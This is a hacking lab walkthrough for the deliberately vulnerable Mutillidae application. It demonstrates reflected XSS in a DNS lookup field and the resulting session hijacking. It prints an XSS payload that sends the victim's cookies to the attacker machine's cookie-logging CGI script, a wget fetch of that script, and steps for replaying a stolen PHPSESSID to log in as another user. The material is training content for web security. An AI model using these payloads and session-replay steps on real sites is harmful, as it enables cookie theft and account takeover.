OWASP Top 10 Web Hacking Final Lab 13 - Reflected Cross Site Scripting Injection #1, Man-In-The-Middle Attack

{ Reflected Cross Site Scripting Injection #1, 

Man-In-The-Middle Attack }

---

OWASP Top 10 Web Hacking Final  Lab 13 

. Navigate to "DNS Lookup"

1. On BackTrack, Open Firefox
   • Instructions:
     1. Click on the Firefox Icon
   • Notes (FYI):
     • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
2. Open Mutillidae
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
     2. Click Login/Register
3. Login
   • Instructions:
     1. Name: samurai
     2. Password: samurai
     3. Click the Login Button
   • Notes(FYI):
     1. We are logging on to Mutillidae to simulate a user logging on to a real application and being granted a Session ID.

Section 8. Reflected Cross Site Scripting (XSS) Injection #1 - Popup Window

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
4. Test Cross Site Script (XSS) Injection
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <script>alert("Hello")</script>
     2. Click the Lookup DNS Button
5. View Cross Site Script (XSS) Injection Results
   • Note(FYI):
     1. The fact that we can pop up a JavaScript alert box indicates this webpage is susceptible to Cross Site Script Injections.
   • Instructions:
     1. Click the OK Button

Section 9. Reflected Cross Site Scripting (XSS) Injection #2 - Popup Cookie

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
4. Test Cross Site Script (XSS) Injection
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <script>alert(document.cookie)</script>
     2. Click the Lookup DNS Button
   • Note(FYI):
     1. The goal here is to determine (1) if this webpage contains a cookie AND (2) if we can display the cookie in a JavaScript alert box.
    
5. View Cookie
   • Instructions:
     1. Notice the cookie displays the username
     2. Notice the cookie displays the PHP Session ID.
     3. Click the OK Button
   • Notes(FYI):
     1. Imagine if this was a bank website and every time a user logs in their cookie information was sent to a remote location.

Section 13. Prepare BackTrack CGI Cookie Script

1. On BackTrack, Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
    
2. Start Apache2
   • Instructions:
     1. service apache2 start
     2. service apache2 status
     3. ps -eaf | grep apache2 | grep -v grep
   • Note(FYI):
     1. Start up the apache2 webserver.
     2. Display the status of the apache2 webserver.
     3. See the processes of the apache2 webserver.
    
3. Make Apache Log Directory
   • Instructions:
     1. mkdir -p /var/www/logdir
     2. chown www-data:www-data /var/www/logdir
     3. chmod 700 /var/www/logdir
     4. ls -ld /var/www/logdir
   • Note(FYI):
     1. Make a directory called logdir inside of /var/www
     2. Set the ownership of logdir to www-data
     3. Set the permission of logdir to where only the apache2 process (owned by www-data) can read, write and execute to this directory.
4. Configure CGI Cookie Script
   • Instructions:
     1. cd /usr/lib/cgi-bin
     2. wget http://goo.gl/Zb5MZe
     3. mv logit.pl.TXT logit.pl
     4. chown www-data:www-data logit.pl
     5. chmod 700 logit.pl
     6. perl -c logit.pl
   • Note(FYI):
     1. Change directory to /usr/lib/cgi-bin
     2. Use wget to download the CGI Cookie Script
     3. Rename Script
     4. Set ownership of script to www-data, which is the same owner of the apache2 webserver processes.
     5. Set permission to where only the www-data user can read, write and execute the script.
     6. Check the syntax of the CGI Cookie Script (logit.pl)

Section 14. Reflected Cross Site Scripting (XSS) Injection #2 - Popup Cookie

1. DNS Lookup
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
2. Inspect Textbox Element
   • Instructions:
     1. Right Click in Hostname/IP Textbox
     2. Click on Inspect Element
3. Change Text Box Size
   • Instructions:
     1. After the string "size=", Change 20 to 100. (See Picture)
     2. Click on the Close Button
4. Test Cross Site Script (XSS) Injection
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
     2. This JavaScript tells the web browser to send the cookies back to the CGI Cookie Script on the BackTrack Machine.
   • Instructions:
     1. In the Hostname/IP Textbox place the following string
        • <SCRIPT>document.location='http://192.168.1.112/cgi-bin/logit.pl?'+document.cookie</SCRIPT>
     2. Click the Lookup DNS Button
5. View Cookie Script Results
   • Instructions:
     1. Notice the Mutillidae IP Address and Vulnerable Weblink
     2. Notice the cookie username
     3. Notice the cookie PHP Session ID.
   • Notes(FYI):
     1. Note a malicious person would not actually display the results back to you once you click a button.
     2. Continue to the next step to see where a malicious person might store this data.
6. View Cookie Script Log File
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
     2. Now we have a running log file of IP Addresses, Cookie usernames, and Session IDs of potential victims.
     3. Pretty scary stuff.  This is why it is necessary for web developers to (1) use encoding and (2) test their site for XSS injection attempts.
   • Instructions:
     1. Place the following URL in the Address Textbox
        • http://192.168.1.112/logdir/log.txt

Section 16. Simulate Man-In-The-Middle Attack

1. Start Cookies Manager+
   • Notes (FYI):
     • Click here to install Cookie Manager+ you have not already done so.
   • Instructions:
     1. Tools --> Cookies Manager+
2. Add Cookie Entry
   • Instructions:
     1. Click the Add Button
3. Add PHPSESSID Cookie Entry
   • Note(FYI):
     1. Replace 6lmbhjodbtnj6o5ajuli7p1s24 with your PHPSESSID See Below Picture).
     2. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Name: PHPSESSID
     2. Content: 6lmbhjodbtnj6o5ajuli7p1s24
     3. Host: 192.168.1.111
     4. Path: /
     5. Click the Save Button.
4. Add showhints Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: showhints
     3. Content: 0
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Click the Save Button
5. Add username Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: username
     3. Content: samurai
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Select Date
     7. Increase the Date by 1 or 2 days
     8. Click the Save Button
6. Add uid Cookie Entry
   • Note(FYI):
     1. Replace 192.168.1.111 with Mutillidae's IP Address Host IP Address obtained from (Section 3, Step 3).
   • Instructions:
     1. Click the Add Button
     2. Name: uid
     3. Content: 6
     4. Host: 192.168.1.111
     5. Path: /mutillidae/
     6. Select Date
     7. Increase the Date by 1 or 2 days
     8. Click the Save Button
     9. Click the Close Button
7. Close Firefox
   • Note(FYI):
     1. So, lets test our theory and see if we can still get into the website using the username (samurai) and PHP Session ID we captured.
   • Instructions:
     1. File --> Quit
8. Open Mutillidae
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
     2. Notice samurai is logged in without us clicking Login/Register.

Section 17. Proof of Lab

1. Proof of Lab Các bạn hãy quay lại toàn bộ tiến trình thực hành và text note có tên của mình